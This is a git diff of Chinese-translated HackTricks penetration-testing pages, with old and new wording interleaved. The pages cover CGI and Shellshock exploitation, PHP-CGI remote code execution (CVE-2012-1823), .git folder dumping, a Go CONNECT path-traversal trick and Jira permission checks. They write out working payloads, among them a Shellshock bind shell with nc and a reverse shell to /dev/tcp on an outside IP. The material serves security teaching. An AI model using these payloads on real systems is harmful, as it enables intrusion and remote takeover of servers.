||||
|
||||
Directory Traversal vulnerabilities occur when a CGI script does not properly sanitize user input, allowing an attacker to navigate outside of the intended directory structure and access files or directories that should be restricted.
|
||||
|
||||
To exploit a Directory Traversal vulnerability in a CGI script, an attacker needs to identify the input fields or parameters that are vulnerable to directory traversal attacks. By manipulating these inputs, the attacker can navigate to directories outside of the intended scope and access sensitive files or directories.
|
||||
|
||||
Once the Directory Traversal vulnerability is successfully exploited, the attacker can read or modify files, upload malicious files, or gain unauthorized access to restricted areas of the server.
|
||||
|
||||
### Code Injection
|
||||
|
||||
Code Injection vulnerabilities occur when a CGI script does not properly validate or sanitize user input, allowing an attacker to inject and execute arbitrary code on the server.
|
||||
|
||||
To exploit a Code Injection vulnerability in a CGI script, an attacker needs to identify the input fields or parameters that are vulnerable to code injection. By injecting malicious code into these inputs, the attacker can trick the server into executing the injected code.
|
||||
|
||||
Once the Code Injection vulnerability is successfully exploited, the attacker can execute arbitrary commands, gain unauthorized access to the server, or perform other malicious activities.
|
||||
|
||||
### Conclusion
|
||||
|
||||
Exploiting vulnerabilities in CGI scripts can provide attackers with unauthorized access to servers or the ability to execute arbitrary code. It is important for web application developers and administrators to properly validate and sanitize user input to prevent these types of vulnerabilities. Regular security assessments and penetration testing can help identify and mitigate these risks.
|
||||
## 利用
|
||||
```bash
|
||||
#Bind Shell
|
||||
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
|
||||
|
@ -147,38 +61,35 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt
|
|||
> set rhosts 10.1.2.11
|
||||
> run
|
||||
```
|
||||
# **代理(中间人攻击到Web服务器请求)**
|
||||
# **代理(MitM 到 Web 服务器请求)**
|
||||
|
||||
CGI为每个HTTP请求的头部创建一个环境变量。例如:"host:web.com"被创建为"HTTP\_HOST"="web.com"
|
||||
CGI 为 http 请求中的每个头创建一个环境变量。例如:"host:web.com" 被创建为 "HTTP\_HOST"="web.com"
|
||||
|
||||
由于Web服务器可能使用HTTP\_PROXY变量,尝试发送一个包含: "**Proxy: <IP\_attacker>:<PORT>**"的头部。如果服务器在会话期间执行任何请求,您将能够捕获服务器发出的每个请求。
|
||||
由于 HTTP\_PROXY 变量可能被 web 服务器使用。尝试发送包含 "**Proxy: <IP\_attacker>:<PORT>**" 的**头部**,如果服务器在会话期间执行任何请求。您将能够捕获服务器发出的每个请求。
|
||||
|
||||
# 旧版PHP + CGI = RCE(CVE-2012-1823,CVE-2012-2311)
|
||||
# 旧 PHP + CGI = RCE(CVE-2012-1823,CVE-2012-2311)
|
||||
|
||||
基本上,如果cgi处于活动状态且php是“旧的”(<5.3.12 / < 5.4.2),则可以执行代码。
|
||||
为了利用此漏洞,您需要访问Web服务器的某个PHP文件,而无需发送参数(特别是不发送字符“=”)。
|
||||
然后,为了测试此漏洞,您可以访问例如`/index.php?-s`(注意`-s`),并且应用程序的**源代码将出现在响应中**。
|
||||
基本上,如果 cgi 活跃并且 php 是“旧的”(<5.3.12 / < 5.4.2),你可以执行代码。
|
||||
为了利用这个漏洞,你需要访问 web 服务器的某个 PHP 文件,而不发送参数(特别是不发送字符 "=")。
|
||||
然后,为了测试这个漏洞,你可以访问例如 `/index.php?-s`(注意 `-s`),**应用程序的源代码将出现在响应中**。
|
||||
|
||||
然后,为了获得**RCE**,您可以发送此特殊查询:`/?-d allow_url_include=1 -d auto_prepend_file=php://input`,并将要在**请求的正文中执行的PHP代码**。示例:
|
||||
然后,为了获得**RCE**,你可以发送这个特殊查询:`/?-d allow_url_include=1 -d auto_prepend_file=php://input` 和要在**请求体中执行的**PHP 代码。
|
||||
**示例:**
|
||||
```bash
|
||||
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
|
||||
```
|
||||
**有关漏洞和可能的利用的更多信息:**[**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,**[**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,**[**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,**[**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
|
||||
|
||||
|
||||
**关于漏洞和可能的利用方法的更多信息:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup 示例**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**。**
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习 AWS 黑客攻击直至成为高手!</strong></summary>
|
||||
|
||||
- 你在**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获取[**官方PEASS和HackTricks的衣物**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 如果您希望在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF 版本**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来 **分享您的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,50 +2,46 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零到英雄学习AWS黑客技术,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- 你在一个**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 发现我们的独家[NFT收藏品The PEASS Family](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
**要从URL中转储.git文件夹,请使用** [**https://github.com/arthaud/git-dumper**](https://github.com/arthaud/git-dumper)
|
||||
**要从URL转储.git文件夹,请使用** [**https://github.com/arthaud/git-dumper**](https://github.com/arthaud/git-dumper)
|
||||
|
||||
**使用** [**https://www.gitkraken.com/**](https://www.gitkraken.com/) **来检查内容**
|
||||
|
||||
如果在Web应用程序中找到_.git_目录,您可以使用_wget -r http://web.com/.git_下载所有内容。然后,您可以使用_git diff_查看所做的更改。
|
||||
如果在web应用程序中找到了_.git_目录,您可以使用_wget -r http://web.com/.git_下载所有内容。然后,您可以使用_git diff_查看所做的更改。
|
||||
|
||||
可以使用工具:[Git-Money](https://github.com/dnoiz1/git-money),[DVCS-Pillage](https://github.com/evilpacket/DVCS-Pillage)和[GitTools](https://github.com/internetwache/GitTools)来检索git目录的内容。
|
||||
工具:[Git-Money](https://github.com/dnoiz1/git-money),[DVCS-Pillage](https://github.com/evilpacket/DVCS-Pillage) 和 [GitTools](https://github.com/internetwache/GitTools) 可用于检索git目录的内容。
|
||||
|
||||
可以使用工具[https://github.com/cve-search/git-vuln-finder](https://github.com/cve-search/git-vuln-finder)来搜索提交消息中的CVE和安全漏洞消息。
|
||||
工具 [https://github.com/cve-search/git-vuln-finder](https://github.com/cve-search/git-vuln-finder) 可用于在提交消息中搜索CVE和安全漏洞消息。
|
||||
|
||||
工具[https://github.com/michenriksen/gitrob](https://github.com/michenriksen/gitrob)可以在组织及其员工的存储库中搜索敏感数据。
|
||||
工具 [https://github.com/michenriksen/gitrob](https://github.com/michenriksen/gitrob) 用于搜索组织及其员工的仓库中的敏感数据。
|
||||
|
||||
[Repo security scanner](https://github.com/UKHomeOffice/repo-security-scanner)是一个基于命令行的工具,它的目标是帮助您发现开发人员通过推送敏感数据而意外泄露的GitHub秘密。和其他工具一样,它可以帮助您找到密码、私钥、用户名、令牌等。
|
||||
[Repo security scanner](https://github.com/UKHomeOffice/repo-security-scanner) 是一个基于命令行的工具,它有一个目标:帮助您发现开发人员不小心通过推送敏感数据而造成的GitHub泄露。和其他工具一样,它将帮助您找到密码、私钥、用户名、令牌等。
|
||||
|
||||
[TruffleHog](https://github.com/dxa4481/truffleHog)在GitHub存储库中搜索并查找意外提交的秘密。
|
||||
[TruffleHog](https://github.com/dxa4481/truffleHog) 通过搜索GitHub仓库并深入提交历史和分支,寻找意外提交的秘密
|
||||
|
||||
在这里,您可以找到关于github dorks的研究:[https://securitytrails.com/blog/github-dorks](https://securitytrails.com/blog/github-dorks)
|
||||
在这里您可以找到关于github dorks的研究:[https://securitytrails.com/blog/github-dorks](https://securitytrails.com/blog/github-dorks)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零到英雄学习AWS黑客技术,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- 你在一个**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 发现我们的独家[NFT收藏品The PEASS Family](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,48 +1,44 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>零基础学习AWS黑客技术直至成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- 你在一个**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 如果您希望在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
## CONNECT方法
|
||||
## CONNECT 方法
|
||||
|
||||
在golang中,net/http库通常在访问路径之前将其转换为规范路径:
|
||||
在golang中,库net/http通常会在访问路径之前将其转换为规范路径:
|
||||
|
||||
* /flag/ -- 会被重定向到 /flag
|
||||
* /../flag --- 会被重定向到 /flag
|
||||
* /flag/. -- 会被重定向到 /flag
|
||||
* /flag/ -- 会重定向到 /flag
|
||||
* /../flag --- 会重定向到 /flag
|
||||
* /flag/. -- 会重定向到 /flag
|
||||
|
||||
然而,当使用CONNECT方法时,这种情况不会发生。因此,如果你需要访问一些受保护的资源,你可以利用这个技巧:
|
||||
然而,当使用CONNECT方法时,这种情况不会发生。因此,如果您需要访问一些受保护的资源,您可以利用这个技巧:
|
||||
```text
|
||||
curl --path-as-is -X CONNECT http://gofs.web.jctf.pro/../flag
|
||||
```
|
||||
[https://github.com/golang/go/blob/9bb97ea047890e900dae04202a231685492c4b18/src/net/http/server.go\#L2354-L2364](https://github.com/golang/go/blob/9bb97ea047890e900dae04202a231685492c4b18/src/net/http/server.go#L2354-L2364)
|
||||
|
||||
|
||||
```markdown
|
||||
[https://github.com/golang/go/blob/9bb97ea047890e900dae04202a231685492c4b18/src/net/http/server.go#L2354-L2364](https://github.com/golang/go/blob/9bb97ea047890e900dae04202a231685492c4b18/src/net/http/server.go#L2354-L2364)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击!</strong></summary>
|
||||
|
||||
- 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**。
|
||||
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -1,16 +1,14 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零到英雄学习AWS黑客技术,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- 您在**网络安全公司**工作吗?您想在**HackTricks**中看到您的**公司广告**吗?或者您想要访问**PEASS的最新版本或以PDF格式下载HackTricks**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列
|
||||
|
||||
- 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter**上**关注**我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -18,10 +16,10 @@
|
|||
## 检查权限
|
||||
|
||||
在Jira实例中,**任何用户**(甚至**未认证用户**)都可以在`/rest/api/2/mypermissions`或`/rest/api/3/mypermissions`中**检查其权限**。这些端点将返回您当前的权限。\
|
||||
如果**未认证用户**拥有任何**权限**,这是一个**漏洞**(悬赏?)。\
|
||||
如果**认证用户**拥有任何**意外的权限**,这是一个**漏洞**。
|
||||
如果一个**未认证用户**拥有任何**权限**,这是一个**漏洞**(悬赏?)。\
|
||||
如果一个**认证用户**拥有任何**意外的权限**,这是一个**漏洞**。
|
||||
|
||||
更新:截至2019年2月1日,- 'mypermissions'端点需要一个'permission'参数,带有以下参数之一
|
||||
更新:自2019年2月1日起,'mypermissions'端点需要一个'permission'参数,参数之一如下
|
||||
[https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
|
||||
- ADD_COMMENTS
|
||||
- ADMINISTER
|
||||
|
@ -78,16 +76,14 @@ curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"h
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击直到成为专家!</strong></summary>
|
||||
|
||||
- 您在**网络安全公司**工作吗?想在**HackTricks**中看到您的**公司广告**吗?或者您想要访问**最新版本的PEASS或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列。
|
||||
|
||||
- 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,27 +1,25 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为英雄级人物</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
